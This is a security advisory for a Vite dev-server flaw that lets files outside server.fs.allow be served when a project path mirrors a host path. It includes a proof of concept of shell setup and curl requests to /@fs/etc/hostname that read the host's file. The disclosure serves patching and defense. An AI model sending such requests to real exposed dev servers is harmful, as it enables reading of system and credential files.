Vulnerability GHSA-rq7h-c2jc-7f22

Medium Risk
MEDIUM RISK
CVSS Score: 6.0
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
2 hours ago
October 21, 2026 at 04:47 PM UTC
Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine
0.1.0 - 6.4.3 and 7.0.0 - 7.3.6 and 8.0.0 - 8.1.5 and 8.2.0 - 8.2.2 and 8.3.0 - 8.3.2
0.1.0 - 6.4.3 and 7.0.0 - 7.3.6 and 8.0.0 - 8.1.5 and 8.2.0 - 8.2.2 and 8.3.0 - 8.3.2

Summary

Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

  • explicitly expose the Vite dev server to the network (using --host or the server.host option)
  • contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
  • The sensitive file is not matched by server.fs.deny
  • the dev server is not running on Windows

Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install [email protected]
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Impacted packages

Timeline

Published
2 hours ago
October 21, 2026 at 04:47 PM UTC
Fixed (8.2.4)
15 days ago
October 06, 2026 at 04:48 AM UTC
Fixed (8.1.6)
15 days ago
October 06, 2026 at 04:51 AM UTC
Fixed (6.4.4)
15 days ago
October 06, 2026 at 05:49 AM UTC
Fixed (8.3.3)
Unknown
Unknown
Fixed (7.3.7)
Unknown
Unknown
Fixed (1.1.0)
Unknown
Unknown
Last Modified
2 hours ago
October 21, 2026 at 05:00 PM UTC